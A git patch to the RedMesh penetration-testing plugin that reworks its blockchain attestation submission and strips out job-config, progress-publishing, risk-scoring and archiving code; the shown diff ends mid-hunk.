From fbbbf9ce3c36b34da671cd4cf016c8f939ada605 Mon Sep 17 00:00:00 2001 From: Alessandro Date: Thu, 5 Mar 2026 10:07:50 +0100 Subject: [PATCH 001/114] feat: add attestation registry submission in redmesh close flow --- .../cybersec/red_mesh/pentester_api_01.py | 1763 +++-------------- 1 file changed, 252 insertions(+), 1511 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c10c01fc..a2ecf825 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -18,7 +18,7 @@ "INSTANCES": [ { "INSTANCE_ID": "PENTESTER_API_01_DEFAULT", - "CHECK_JOBS_EACH": 15, + "CHECK_JOBS_EACH": 5, "NR_LOCAL_WORKERS": 4, "WARMUP_DELAY": 30 } @@ -36,27 +36,10 @@ from urllib.parse import urlparse from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin -from .pentest_worker import PentestLocalWorker +from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin -from .models import ( - JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, - CStoreJobFinalized, UiAggregate, JobArchive, WorkerProgress, -) from .constants import ( FEATURE_CATALOG, - JOB_STATUS_RUNNING, - JOB_STATUS_COLLECTING, - JOB_STATUS_ANALYZING, - JOB_STATUS_FINALIZING, - JOB_STATUS_SCHEDULED_FOR_STOP, - JOB_STATUS_STOPPED, - JOB_STATUS_FINALIZED, - RUN_MODE_SINGLEPASS, - RUN_MODE_CONTINUOUS_MONITORING, - DISTRIBUTION_SLICE, - DISTRIBUTION_MIRROR, - PORT_ORDER_SHUFFLE, - PORT_ORDER_SEQUENTIAL, LLM_ANALYSIS_SECURITY_ASSESSMENT, LLM_ANALYSIS_VULNERABILITY_SUMMARY, LLM_ANALYSIS_REMEDIATION_PLAN, @@ -65,30 +48,10 @@ RISK_SIGMOID_K, RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP, - LOCAL_WORKERS_MIN, - LOCAL_WORKERS_MAX, - LOCAL_WORKERS_DEFAULT, - PROGRESS_PUBLISH_INTERVAL, - PHASE_ORDER, - PHASE_MARKERS, ) __VER__ = '0.9.0' - -def _thread_phase(state): - """Determine which phase a single thread is currently in.""" - tests = set(state.get("completed_tests", [])) - if "correlation_completed" in tests: - return "done" - if "web_tests_completed" in tests: - return "correlation" - if "service_info_completed" in tests: - return "web_tests" - if "fingerprint_completed" in tests: - return "service_probes" - return "port_scan" - _CONFIG = { **BasePlugin.CONFIG, @@ -98,21 +61,21 @@ def _thread_phase(state): "CHAINSTORE_PEERS": [], - "CHECK_JOBS_EACH" : 15, + "CHECK_JOBS_EACH" : 5, "REDMESH_VERBOSE" : 10, # Verbosity level for debug messages (0 = off, 1+ = debug) - "NR_LOCAL_WORKERS" : LOCAL_WORKERS_DEFAULT, + "NR_LOCAL_WORKERS" : 8, "WARMUP_DELAY" : 30, # Defines how ports are split across local workers. - "DISTRIBUTION_STRATEGY": DISTRIBUTION_SLICE, - "PORT_ORDER": PORT_ORDER_SHUFFLE, + "DISTRIBUTION_STRATEGY": "SLICE", # "SLICE" or "MIRROR" + "PORT_ORDER": "SHUFFLE", # "SHUFFLE" or "SEQUENTIAL" "EXCLUDED_FEATURES": [], # Run mode: SINGLEPASS (default) or CONTINUOUS_MONITORING - "RUN_MODE": RUN_MODE_SINGLEPASS, + "RUN_MODE": "SINGLEPASS", "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes @@ -135,7 +98,6 @@ def _thread_phase(state): "SCANNER_USER_AGENT": "", # HTTP User-Agent (empty = default requests UA) # RedMesh attestation submission - "ATTESTATION_PRIVATE_KEY": "", "ATTESTATION_ENABLED": True, "ATTESTATION_MIN_SECONDS_BETWEEN_SUBMITS": 86400, @@ -184,8 +146,6 @@ def on_init(self): self.lst_completed_jobs = [] # List of completed jobs self._audit_log = [] # Structured audit event log self.__last_checked_jobs = 0 - self._last_progress_publish = 0 # timestamp of last live progress publish - self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False # Defer readiness if waiting for semaphore dependencies (e.g., LLM Agent) @@ -203,9 +163,8 @@ def _setup_semaphore_env(self): """Set semaphore environment variables for paired plugins.""" super(PentesterApi01Plugin, self)._setup_semaphore_env() localhost_ip = self.log.get_localhost_ip() - port = self.port + port = self.cfg_port self.semaphore_set_env('HOST', localhost_ip) - # Legacy API-prefixed keys (backward compatibility) self.semaphore_set_env('API_HOST', localhost_ip) if port: self.semaphore_set_env('PORT', str(port)) @@ -268,7 +227,8 @@ def Pd(self, s, *args, score=-1, **kwargs): def _attestation_get_tenant_private_key(self): - private_key = self.cfg_attestation_private_key + env_name = "R1EN_ATTESTATION_PRIVATE_KEY" + private_key = self.os_environ.get(env_name, None) if private_key: private_key = private_key.strip() if not private_key: @@ -328,184 +288,66 @@ def _attestation_pack_ip_obfuscated(self, target) -> str: last_octet = int(octets[-1]) return f"0x{first_octet:02x}{last_octet:02x}" - @staticmethod - def _attestation_pack_execution_id(job_id) -> str: - if not isinstance(job_id, str): - raise ValueError("job_id must be a string") - job_id = job_id.strip() - if len(job_id) != 8: - raise ValueError("job_id must be exactly 8 characters") - try: - data = job_id.encode("ascii") - except UnicodeEncodeError as exc: - raise ValueError("job_id must contain only ASCII characters") from exc - return "0x" + data.hex() - - def _attestation_get_worker_eth_addresses(self, workers: dict) -> list[str]: - if not isinstance(workers, dict): - return [] - eth_addresses = [] - for node_addr in workers.keys(): - eth_addr = self.bc.node_addr_to_eth_addr(node_addr) - if not isinstance(eth_addr, str) or not eth_addr.startswith("0x"): - raise ValueError(f"Unable to convert worker node to EVM address: {node_addr}") - eth_addresses.append(eth_addr) - eth_addresses.sort() - return eth_addresses - - def _attestation_pack_node_hashes(self, workers: dict) -> str: - eth_addresses = self._attestation_get_worker_eth_addresses(workers) - if len(eth_addresses) == 0: - return "0x" + ("00" * 32) - digest = self.bc.eth_hash_message(types=["address[]"], values=[eth_addresses], as_hex=True) - if isinstance(digest, str) and digest.startswith("0x"): - return digest - return "0x" + str(digest) - - def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0, node_ips=None): - self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") + def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score): if not self.cfg_attestation_enabled: - self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() if tenant_private_key is None: self.P( - "[ATTESTATION] Tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", + "RedMesh attestation is enabled but tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", color='y' ) return None - run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() - test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 + run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() + test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 node_count = len(workers) if isinstance(workers, dict) else 0 + # TODO: replace placeholder score with proper RedMesh vulnerability scoring logic. target = job_specs.get("target") - execution_id = self._attestation_pack_execution_id(job_id) report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID node_eth_address = self.bc.eth_address ip_obfuscated = self._attestation_pack_ip_obfuscated(target) cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) - self.P( - f"[ATTESTATION] Submitting test attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " - f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " - f"cid={cid_obfuscated}, sender={node_eth_address}" - ) tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshTestAttestation", + function_name="submitRedmeshAttestation", function_args=[ test_mode, node_count, vulnerability_score, - execution_id, ip_obfuscated, cid_obfuscated, ], - signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], + signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes2", "bytes10"], signature_values=[ self.REDMESH_ATTESTATION_DOMAIN, test_mode, node_count, vulnerability_score, - execution_id, ip_obfuscated, cid_obfuscated, ], tx_private_key=tenant_private_key, ) - # Obfuscate node IPs for attestation metadata - obfuscated_node_ips = [] - if node_ips: - for ip in node_ips: - obfuscated_node_ips.append(self._attestation_pack_ip_obfuscated(ip)) - result = { "job_id": job_id, "tx_hash": tx_hash, "test_mode": "C" if test_mode == 1 else "S", "node_count": node_count, "vulnerability_score": vulnerability_score, - "execution_id": execution_id, "report_cid": report_cid, "node_eth_address": node_eth_address, - "node_ips_obfuscated": obfuscated_node_ips, } self.P( - "Submitted RedMesh test attestation for " + "Submitted RedMesh attestation for " f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, score: {vulnerability_score})", color='g' ) return result - def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): - self.P(f"[ATTESTATION] Job-start attestation requested for job {job_id}") - if not self.cfg_attestation_enabled: - self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') - return None - tenant_private_key = self._attestation_get_tenant_private_key() - if tenant_private_key is None: - self.P( - "[ATTESTATION] Tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", - color='y' - ) - return None - - run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() - test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 - node_count = len(workers) if isinstance(workers, dict) else 0 - target = job_specs.get("target") - execution_id = self._attestation_pack_execution_id(job_id) - node_eth_address = self.bc.eth_address - ip_obfuscated = self._attestation_pack_ip_obfuscated(target) - node_hashes = self._attestation_pack_node_hashes(workers) - - worker_addrs = list(workers.keys()) if isinstance(workers, dict) else [] - self.P( - f"[ATTESTATION] Submitting job-start attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " - f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " - f"workers={worker_addrs}, sender={node_eth_address}" - ) - tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshJobStartAttestation", - function_args=[ - test_mode, - node_count, - execution_id, - node_hashes, - ip_obfuscated, - ], - signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], - signature_values=[ - self.REDMESH_ATTESTATION_DOMAIN, - test_mode, - node_count, - execution_id, - node_hashes, - ip_obfuscated, - ], - tx_private_key=tenant_private_key, - ) - - result = { - "job_id": job_id, - "tx_hash": tx_hash, - "test_mode": "C" if test_mode == 1 else "S", - "node_count": node_count, - "execution_id": execution_id, - "node_hashes": node_hashes, - "ip_obfuscated": ip_obfuscated, - "node_eth_address": node_eth_address, - } - self.P( - "Submitted RedMesh job-start attestation for " - f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, node_count: {node_count})", - color='g' - ) - return result - def __post_init(self): """ @@ -631,30 +473,6 @@ def _normalize_job_record(self, job_key, job_spec, migrate=False): return job_key, normalized - def _get_job_config(self, job_specs): - """ - Fetch the immutable job config from R1FS via job_config_cid. - - Parameters - ---------- - job_specs : dict - Job specification stored in CStore. - - Returns - ------- - dict - Job config dict, or empty dict if unavailable. - """ - cid = job_specs.get("job_config_cid") - if not cid: - return {} - config = self.r1fs.get_json(cid) - if config is None: - self.P(f"Failed to fetch job config from R1FS (CID: {cid})", color='r') - return {} - return config - - def _get_worker_entry(self, job_id, job_spec): """ Get the worker entry for this node from the job spec. @@ -673,8 +491,7 @@ def _get_worker_entry(self, job_id, job_spec): """ workers = job_spec.setdefault("workers", {}) worker_entry = workers.get(self.ee_addr) - if worker_entry is None and workers and job_id not in self._foreign_jobs_logged: - self._foreign_jobs_logged.add(job_id) + if worker_entry is None: self.Pd("No worker entry found for this node in job spec job_id={}, workers={}".format( job_id, self.json_dumps(workers)), @@ -747,10 +564,10 @@ def _launch_job( local_jobs = {} ports = list(range(start_port, end_port + 1)) batches = [] - if port_order == PORT_ORDER_SEQUENTIAL: + if port_order == "SEQUENTIAL": ports = sorted(ports) # redundant but explicit else: - port_order = PORT_ORDER_SHUFFLE + port_order = "SHUFFLE" random.shuffle(ports) nr_ports = len(ports) if nr_ports == 0: @@ -835,6 +652,9 @@ def _maybe_launch_jobs(self, nr_local_workers=None): continue target = job_specs.get("target") job_id = job_specs.get("job_id", normalized_key) + port_order = job_specs.get("port_order", self.cfg_port_order) + excluded_features = job_specs.get("excluded_features", self.cfg_excluded_features) + enabled_features = job_specs.get("enabled_features", []) if job_id is None: continue worker_entry = self._get_worker_entry(job_id, job_specs) @@ -851,8 +671,8 @@ def _maybe_launch_jobs(self, nr_local_workers=None): # Check if this is a continuous monitoring job where our worker was reset # (launcher reset our finished flag for next pass) - clear local tracking # Only applies to CONTINUOUS_MONITORING and only when job is not currently running - run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) - if run_mode == RUN_MODE_CONTINUOUS_MONITORING and is_closed_target and not is_in_progress_target: + run_mode = job_specs.get("run_mode", "SINGLEPASS") + if run_mode == "CONTINUOUS_MONITORING" and is_closed_target and not is_in_progress_target: # Our worker entry was reset by launcher for next pass - clear local state self.P(f"Detected worker reset for job {job_id}, clearing local tracking for next pass") self.completed_jobs_reports.pop(job_id, None) @@ -879,26 +699,16 @@ def _maybe_launch_jobs(self, nr_local_workers=None): if end_port is None: self.P("No end port specified, defaulting to 65535.") end_port = 65535 - # Fetch job config from R1FS - job_config = self._get_job_config(job_specs) - exceptions = job_config.get("exceptions", []) + exceptions = job_specs.get("exceptions", []) + # Ensure exceptions is always a list (handle legacy string format) if not isinstance(exceptions, list): exceptions = [] - port_order = job_config.get("port_order", self.cfg_port_order) - excluded_features = job_config.get("excluded_features", self.cfg_excluded_features) - enabled_features = job_config.get("enabled_features", []) - scan_min_delay = job_config.get("scan_min_delay", self.cfg_scan_min_rnd_delay) - scan_max_delay = job_config.get("scan_max_delay", self.cfg_scan_max_rnd_delay) - ics_safe_mode = job_config.get("ics_safe_mode", self.cfg_ics_safe_mode) - scanner_identity = job_config.get("scanner_identity", self.cfg_scanner_identity) - scanner_user_agent = job_config.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_from_spec = job_config.get("nr_local_workers") - if nr_local_workers is not None: - workers_requested = nr_local_workers - elif workers_from_spec is not None and int(workers_from_spec) > 0: - workers_requested = int(workers_from_spec) - else: - workers_requested = self.cfg_nr_local_workers + scan_min_delay = job_specs.get("scan_min_delay", self.cfg_scan_min_rnd_delay) + scan_max_delay = job_specs.get("scan_max_delay", self.cfg_scan_max_rnd_delay) + ics_safe_mode = job_specs.get("ics_safe_mode", self.cfg_ics_safe_mode) + scanner_identity = job_specs.get("scanner_identity", self.cfg_scanner_identity) + scanner_user_agent = job_specs.get("scanner_user_agent", self.cfg_scanner_user_agent) + workers_requested = nr_local_workers if nr_local_workers is not None else self.cfg_nr_local_workers self.P("Using {} local workers for job {}".format(workers_requested, job_id)) try: local_jobs = self._launch_job( @@ -1156,36 +966,6 @@ def _close_job(self, job_id, canceled=False): ------- None """ - # Publish a final "done" progress so the UI doesn't show stale stage data - local_workers_pre = self.scan_jobs.get(job_id) - if local_workers_pre: - total_scanned = 0 - total_ports = 0 - all_open = set() - for w in local_workers_pre.values(): - total_scanned += len(w.state.get("ports_scanned", [])) - total_ports += len(w.initial_ports) - all_open.update(w.state.get("open_ports", [])) - job_specs_pre = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - pass_nr = job_specs_pre.get("job_pass", 1) if isinstance(job_specs_pre, dict) else 1 - done_progress = WorkerProgress( - job_id=job_id, - worker_addr=self.ee_addr, - pass_nr=pass_nr, - progress=100.0, - phase="done", - ports_scanned=total_scanned, - ports_total=total_ports, - open_ports_found=sorted(all_open), - completed_tests=[], - updated_at=self.time(), - ) - self.chainstore_hset( - hkey=f"{self.cfg_instance_id}:live", - key=f"{job_id}:{self.ee_addr}", - value=done_progress.to_dict(), - ) - local_workers = self.scan_jobs.pop(job_id, None) if local_workers: local_reports = { @@ -1194,29 +974,6 @@ def _close_job(self, job_id, canceled=False): } report = self._get_aggregated_report(local_reports) if report: - # Replace generically-merged scan_metrics with properly summed metrics - thread_metrics = [r.get("scan_metrics") for r in local_reports.values() if r.get("scan_metrics")] - if thread_metrics: - report["scan_metrics"] = ( - thread_metrics[0] if len(thread_metrics) == 1 - else self._merge_worker_metrics(thread_metrics) - ) - # Store per-thread metrics with port info for UI drill-down - thread_scan_metrics = {} - for lwid, lr in local_reports.items(): - if lr.get("scan_metrics"): - entry = { - "scan_metrics": lr["scan_metrics"], - "ports_scanned": lr.get("ports_scanned", 0), - "open_ports": lr.get("open_ports", []), - } - # For sequential port order, start/end form a contiguous range - if lr.get("start_port") is not None and lr.get("end_port") is not None: - entry["start_port"] = lr["start_port"] - entry["end_port"] = lr["end_port"] - thread_scan_metrics[lwid] = entry - if thread_scan_metrics: - report["thread_scan_metrics"] = thread_scan_metrics raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if raw_job_specs is None: self.P(f"Job {job_id} no longer present in chainstore; skipping close sync.", color='r') @@ -1229,15 +986,8 @@ def _close_job(self, job_id, canceled=False): # Save full report to R1FS and store only CID in CStore if report: - # Stamp report with this node's public IP (from location_data) for UI display - location_data = self.global_shmem.get('location_data') or {} - public_ip = location_data.get('ip') - report["node_ip"] = public_ip or self.log.get_localhost_ip() - self.P(f"[CLOSE_JOB] Stamped node_ip={report['node_ip']} on report for job {job_id} (source={'location_data' if public_ip else 'localhost'})") - # Redact credentials before persisting - job_config = self._get_job_config(job_specs) - redact = job_config.get("redact_credentials", True) + redact = job_specs.get("redact_credentials", True) persist_report = self._redact_report(report) if redact else report try: report_cid = self.r1fs.add_json(persist_report, show_logs=False) @@ -1260,7 +1010,7 @@ def _close_job(self, job_id, canceled=False): worker_entry["report_cid"] = None worker_entry["result"] = report - # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_reports) + # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_history) fresh_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if fresh_job_specs and isinstance(fresh_job_specs, dict): fresh_job_specs["workers"][self.ee_addr] = worker_entry @@ -1289,39 +1039,6 @@ def _close_job(self, job_id, canceled=False): return - def _maybe_stop_canceled_jobs(self): - """ - Detect jobs stopped via API on another node and stop local workers. - - When a HARD stop is issued, only the node that receives the API call - stops its own workers. This method polls CStore for STOPPED status - on jobs that are still running locally, signals their workers to stop - so they save partial results, and lets ``_maybe_close_jobs`` handle - the cleanup once threads exit. - - Runs on the same interval as ``_maybe_launch_jobs`` to avoid excessive - CStore queries. - - Returns - ------- - None - """ - if not self.scan_jobs: - return - - for job_id in list(self.scan_jobs): - raw = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - if not raw: - continue - _, job_specs = self._normalize_job_record(job_id, raw) - job_status = job_specs.get("job_status") - if job_status == JOB_STATUS_STOPPED: - local_workers = self.scan_jobs.get(job_id, {}) - for local_worker_id, job in local_workers.items(): - if job.thread.is_alive() and not job.stop_event.is_set(): - self.P(f"Stopping local worker {local_worker_id} for job {job_id} (hard stop from CStore)") - job.stop() - def _maybe_close_jobs(self): """ Inspect running jobs and close those whose workers have finished. @@ -1476,380 +1193,13 @@ def process_findings(findings_list): }, } - def _compute_risk_and_findings(self, aggregated_report): - """ - Compute risk score AND extract flat findings in a single walk. - - Extends _compute_risk_score to also produce a flat list of enriched - findings from the nested service_info/web_tests_info/correlation structure. - - Parameters - ---------- - aggregated_report : dict - Aggregated report with service_info, web_tests_info, etc. - - Returns - ------- - tuple[dict, list] - (risk_result, flat_findings) where risk_result is {"score": int, "breakdown": dict} - and flat_findings is a list of enriched finding dicts. - """ - import hashlib - import math - - findings_score = 0.0 - finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} - cred_count = 0 - flat_findings = [] - - port_protocols = aggregated_report.get("port_protocols") or {} - - def process_findings(findings_list, port, probe_name, category): - nonlocal findings_score, cred_count - for finding in findings_list: - if not isinstance(finding, dict): - continue - severity = finding.get("severity", "INFO").upper() - confidence = finding.get("confidence", "firm").lower() - weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) - multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) - findings_score += weight * multiplier - if severity in finding_counts: - finding_counts[severity] += 1 - title = finding.get("title", "") - if isinstance(title, str) and "default credential accepted" in title.lower(): - cred_count += 1 - - # Build deterministic finding_id - canon_title = (finding.get("title") or "").lower().strip() - cwe = finding.get("cwe_id", "") - id_input = f"{port}:{probe_name}:{cwe}:{canon_title}" - finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] - - protocol = port_protocols.get(str(port), "unknown") - - flat_findings.append({ - "finding_id": finding_id, - **{k: v for k, v in finding.items()}, - "port": port, - "protocol": protocol, - "probe": probe_name, - "category": category, - }) - - def parse_port(port_key): - """Extract integer port from keys like '80/tcp' or '80'.""" - try: - return int(str(port_key).split("/")[0]) - except (ValueError, IndexError): - return 0 - - # Walk service_info - service_info = aggregated_report.get("service_info", {}) - for port_key, probes in service_info.items(): - if not isinstance(probes, dict): - continue - port = parse_port(port_key) - for probe_name, probe_data in probes.items(): - if not isinstance(probe_data, dict): - continue - process_findings(probe_data.get("findings", []), port, probe_name, "service") - - # Walk web_tests_info - web_tests_info = aggregated_report.get("web_tests_info", {}) - for port_key, tests in web_tests_info.items(): - if not isinstance(tests, dict): - continue - port = parse_port(port_key) - for test_name, test_data in tests.items(): - if not isinstance(test_data, dict): - continue - process_findings(test_data.get("findings", []), port, test_name, "web") - - # Walk correlation_findings - correlation_findings = aggregated_report.get("correlation_findings", []) - if isinstance(correlation_findings, list): - process_findings(correlation_findings, 0, "_correlation", "correlation") - - # B. Open ports — diminishing returns - open_ports = aggregated_report.get("open_ports", []) - nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 - open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) - - # C. Attack surface breadth - nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 - breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) - - # D. Default credentials penalty - credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) - - # Deduplicate CVE findings: when the same CVE appears on the same port - # from different probes (behavioral + version-based), keep the higher - # confidence detection and drop the duplicate. - import re as _re_dedup - CONFIDENCE_RANK = {"certain": 3, "firm": 2, "tentative": 1} - cve_best = {} # (cve_id, port) -> index of best finding - drop_indices = set() - for idx, f in enumerate(flat_findings): - title = f.get("title", "") - m = _re_dedup.search(r"CVE-\d{4}-\d+", title) - if not m: - continue - cve_id = m.group(0) - port = f.get("port", 0) - key = (cve_id, port) - conf = CONFIDENCE_RANK.get(f.get("confidence", "tentative"), 0) - if key in cve_best: - prev_idx = cve_best[key] - prev_conf = CONFIDENCE_RANK.get(flat_findings[prev_idx].get("confidence", "tentative"), 0) - if conf > prev_conf: - drop_indices.add(prev_idx) - cve_best[key] = idx - else: - drop_indices.add(idx) - else: - cve_best[key] = idx - - if drop_indices: - flat_findings = [f for i, f in enumerate(flat_findings) if i not in drop_indices] - # Recalculate scores after dedup - findings_score = 0.0 - finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} - cred_count = 0 - for f in flat_findings: - severity = f.get("severity", "INFO").upper() - confidence = f.get("confidence", "firm").lower() - weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) - multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) - findings_score += weight * multiplier - if severity in finding_counts: - finding_counts[severity] += 1 - title = f.get("title", "") - if isinstance(title, str) and "default credential accepted" in title.lower(): - cred_count += 1 - credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) - - raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty - score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) - score = max(0, min(100, score)) - - risk_result = { - "score": score, - "breakdown": { - "findings_score": round(findings_score, 1), - "open_ports_score": round(open_ports_score, 1), - "breadth_score": round(breadth_score, 1), - "credentials_penalty": credentials_penalty, - "raw_total": round(raw_total, 1), - "finding_counts": finding_counts, - }, - } - return risk_result, flat_findings - - def _count_services(self, service_info): - """Count ports that have at least one identified service. - - Parameters - ---------- - service_info : dict - Port-keyed service info dict from aggregated scan data. - - Returns - ------- - int - Number of ports with detected services. - """ - if not isinstance(service_info, dict): - return 0 - count = 0 - for port_key, probes in service_info.items(): - if isinstance(probes, dict) and len(probes) > 0: - count += 1 - return count - - SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} - CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} - - def _compute_ui_aggregate(self, passes, latest_aggregated): - """Compute pre-aggregated view for frontend from pass reports. - - Parameters - ---------- - passes : list - List of pass report dicts (PassReport.to_dict()). - latest_aggregated : dict - AggregatedScanData dict for the latest pass. - - Returns - ------- - UiAggregate - """ - from collections import Counter - - latest = passes[-1] - agg = latest_aggregated - findings = latest.get("findings", []) or [] - - # Severity breakdown - findings_count = dict(Counter(f.get("severity", "INFO") for f in findings)) - - # Top findings: CRITICAL + HIGH, sorted by severity then confidence, capped at 10 - crit_high = [f for f in findings if f.get("severity") in ("CRITICAL", "HIGH")] - crit_high.sort(key=lambda f: ( - self.SEVERITY_ORDER.get(f.get("severity"), 9), - self.CONFIDENCE_ORDER.get(f.get("confidence"), 9), - )) - top_findings = crit_high[:10] - - # Finding timeline: track persistence across passes (continuous monitoring) - finding_timeline = {} - for p in passes: - pass_nr = p.get("pass_nr", 0) - for f in (p.get("findings") or []): - fid = f.get("finding_id") - if not fid: - continue - if fid not in finding_timeline: - finding_timeline[fid] = {"first_seen": pass_nr, "last_seen": pass_nr, "pass_count": 1} - else: - finding_timeline[fid]["last_seen"] = pass_nr - finding_timeline[fid]["pass_count"] += 1 - - return UiAggregate( - total_open_ports=sorted(set(agg.get("open_ports", []))), - total_services=self._count_services(agg.get("service_info", {})), - total_findings=len(findings), - findings_count=findings_count if findings_count else None, - top_findings=top_findings if top_findings else None, - finding_timeline=finding_timeline if finding_timeline else None, - latest_risk_score=latest.get("risk_score"), - latest_risk_breakdown=latest.get("risk_breakdown"), - latest_quick_summary=latest.get("quick_summary"), - worker_activity=[ - { - "id": addr, - "start_port": w["start_port"], - "end_port": w["end_port"], - "open_ports": w.get("open_ports", []), - } - for addr, w in (latest.get("worker_reports") or {}).items() - ] or None, - ) - - def _build_job_archive(self, job_key, job_specs): - """Build archive, write to R1FS, prune CStore. Idempotent on failure. - - Called when job reaches FINALIZED or STOPPED state. Builds the complete - archive, writes it to R1FS, then prunes CStore to a lightweight stub. - - Safety invariant: never prune CStore until archive CID is confirmed written. - - Parameters - ---------- - job_key : str - CStore key for this job. - job_specs : dict - Full CStore job state. - """ - job_id = job_specs.get("job_id", job_key) - - # 1. Fetch job config - job_config = self.r1fs.get_json(job_specs.get("job_config_cid")) - if job_config is None: - self.P(f"Cannot build archive for {job_id}: job config not found in R1FS", color='r') - return - - # 2. Fetch all pass reports - passes = [] - for ref in job_specs.get("pass_reports", []): - pass_data = self.r1fs.get_json(ref["report_cid"]) - if pass_data is None: - self.P(f"Cannot build archive for {job_id}: pass {ref['pass_nr']} not found", color='r') - return - passes.append(pass_data) - - if not passes: - self.P(f"Cannot build archive for {job_id}: no pass reports", color='r') - return - - # 3. Fetch latest aggregated report for UI aggregate computation - latest_agg_cid = passes[-1].get("aggregated_report_cid") - latest_aggregated = self.r1fs.get_json(latest_agg_cid) if latest_agg_cid else None - if not latest_aggregated: - self.P(f"Cannot build archive for {job_id}: latest aggregated report not found in R1FS", color='r') - return - - # 4. Compute UI aggregate from passes + latest aggregated data - ui_aggregate = self._compute_ui_aggregate(passes, latest_aggregated) - - # 5. Compose archive - date_completed = self.time() - duration = date_completed - job_specs.get("date_created", date_completed) - - archive = JobArchive( - job_id=job_id, - job_config=job_config, - timeline=job_specs.get("timeline", []), - passes=passes, - ui_aggregate=ui_aggregate.to_dict(), - duration=duration, - date_created=job_specs.get("date_created", 0), - date_completed=date_completed, - start_attestation=job_specs.get("redmesh_job_start_attestation"), - ) - - # 6. Write archive to R1FS - job_cid = self.r1fs.add_json(archive.to_dict(), show_logs=False) - if not job_cid: - self.P(f"Archive write to R1FS failed for {job_id}", color='r') - return - - # 7. Verify CID is retrievable - if self.r1fs.get_json(job_cid) is None: - self.P(f"Archive CID {job_cid} not retrievable after write for {job_id}", color='r') - return - - # 8. Prune CStore to stub (commit point) - stub = CStoreJobFinalized( - job_id=job_id, - job_status=job_specs.get("job_status", JOB_STATUS_FINALIZED), - target=job_specs.get("target", ""), - task_name=job_specs.get("task_name", ""), - risk_score=job_specs.get("risk_score", 0), - run_mode=job_specs.get("run_mode", RUN_MODE_SINGLEPASS), - duration=duration, - pass_count=len(passes), - launcher=job_specs.get("launcher", ""), - launcher_alias=job_specs.get("launcher_alias", ""), - worker_count=len(job_specs.get("workers", {})), - start_port=job_specs.get("start_port", 0), - 